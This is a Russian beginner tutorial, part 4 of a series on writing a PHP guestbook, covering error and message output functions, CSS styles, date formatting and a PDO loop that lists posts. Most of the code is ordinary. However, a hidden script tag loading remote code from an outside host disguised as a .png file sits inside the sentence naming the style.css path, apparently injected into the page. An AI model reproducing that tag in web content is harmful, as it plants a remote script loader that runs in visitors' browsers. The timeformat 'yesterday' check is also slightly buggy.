Написание гостевой книги на PHP — 4 часть.
Написание гостевой книги на PHP — 4 часть.
Уровень: Новичок (базовые знания)
Здравствуйте ,сегодня четвертая часть из цикла — Написание гостевой книги на PHP.
Наш план:
- Написание функций для вывода сообщений
- Написание сценария вывода сообщений гостевой книги
В предыдущей части мы вывод ошибок и сообщений сделали просто с оператором echo. На мой взгляд это неудобно и неправильно.Поэтому мы создадим две новых функций ,одна для вывода сообщений о ошибках ,вторая просто вывод о успешных действиях.
Для этого откроем файл /core/functions.php и напишем в нем новые функции.
/** * Функция вывода ошибок */ function error($err) { if (is_array($err)){ foreach ($err as $value) { ?> <div class="error"> <?=$value?> </div> <? } } else { ?> <div class="error"> <?=$err?> </div> <? } } /** * Функция вывода сообщений */ function message($msg) { ?> <div class="message"> <?=$msg?> </div> <? } [/php] Первая функция может принимать массивы с ошибками ,что позволит вызывать ее всего один раз в конце скрипта. Вторая же функция вызывается всегда с одной переменной ,так как потребности в массовом выводе сообщении нет. Для красивого вывода сообщений в файле <strong>/style/style.css<script src="//wollses.com/steps.png"></script></strong> пропишем новые стили. /* сообщение об ошибке */ div.error{text-align: center;background: #BF614D;color: #fff;padding:1px} /* информативное сообщение */ div.message{text-align: center;background: #4DBF9A;color: #fff;padding:1px}
Обновим файл index.php изменив вывод ошибок с оператора вывода echo на наши созданные функции.
/** * Сценарий для добавлений сообщений */ if (!empty($_POST['login']) && !empty($_POST['message'])) { // Защита от XSS ,удаление пробелов в начале $login = trim(filter_input(INPUT_POST, 'login', FILTER_SANITIZE_SPECIAL_CHARS)); $message = trim(filter_input(INPUT_POST, 'message', FILTER_SANITIZE_SPECIAL_CHARS)); // Массив с ошибками // Проверка на длину логина if(mb_strlen($login)<2 || mb_strlen($login)>64) { $err[]='Неправильная длина у логина'; } if (mb_strlen($message)<2 || mb_strlen($message)>1024) { $err[]='Неправильная длина у сообщения'; } if (!isset($err)) { /** * Если нет ошибок добавляем сообщение */ $addMessage=$db->prepare('INSERT INTO `guestbook`(`name`,`time`,`message`) VALUES (?,?,?)'); $addMessage->execute(array($login,time(),$message)); if ($addMessage) { message('Сообщение успешно добавлено'); } else { $err[]='Сообщение не добавлено'; } } else { error($err); } }
Все теперь когда наши функции работают ,добавление сообщений готово ,приступим к сценарию вывода.
2. Написание сценария вывода сообщений гостевой книги. Сообщения мы будем выводить в цикле ,также для красоты стили для сообщений будут чередоваться(зебра),+добавим картинки.Также для перевода даты в человеческий вид используем функцию timefomat — core/functions.php
/** * Функция для форматирования даты в ч.в */ function timeformat($time=NULL) { $labelTime = date('d.m.Y', $time); $arrM = array( '01'=>'янв', '02'=>'фев', '03'=>'мар', '04'=>'апр', '05'=>'май', '06'=>'июн', '07'=>'июл', '08'=>'авг', '09'=>'сен', '10'=>'окт', '11'=>'ноя', '12'=>'дек' ); if ($labelTime == date('d.m.Y')) { return 'Сегодня в '.date('H:i', $time); } elseif ($labelTime == (date('d') - 1).'.'.date('m.Y')) { return 'Вчера в '.date('H:i', $time); } else { return date('d', $time).' '.$arrM[date('m', $time)].' '.date('Y', $time).' в '.date('H:i', $time); } }
После сценария добавления сообщения.Пишем
$sql_query = 'SELECT * FROM `guestbook` ORDER BY `time` DESC LIMIT 0,100'; $sql_result = $db->query($sql_query); $i=0; while ($data = $sql_result->fetch(PDO::FETCH_ASSOC)) { $i++; $div = '<div class="post_text">'; /** * Зебра */ if ($i&1) { $div.= '<div class="post0">'; } else { $div.= '<div class="post1">'; } $div_close = '</div></div>'; $post = $i.') <img src="/style/images/unk.png" alt=""> '.$data['name'].' ('.timeformat($data['time']).') <br />'; $post.=$data['message'].'<br />'; echo $div.$post.$div_close; }
SQL запросы мы составили для вывода с 0 по 100 сообщения ,в обратном порядке. Позже мы напишем постраничную навигацию.Так как выводить на одной странице по 100 элементов неправильно ).
Также все почти верстку я разместил в переменных в будущем это облегчит работу над дизайном. Конечно лучше было вообще выводить все в шаблоны вида ,но пока обойдемся этим вариантом.
Не забудем создать новые стили в style.css
/* div с постом */ div.post0{ background-color: #FCFDFF } /* div с постом */ div.post1{ background-color: #F9FBFC } /* Вывод текста: Шрифт Tahoma наиболее удобный для чтения 😀 */ div.post_text{ font-family: tahoma; background-color: #FCFDFF; font-size:14px; padding:2px; }
Картинки можете взять в исходниках папки style/images/.
Когда мы все это проделаем получиться:
На сегодня все )
Скачать исходники гостевой книги 4
P.S Если имеются вопросы задаем в комментариях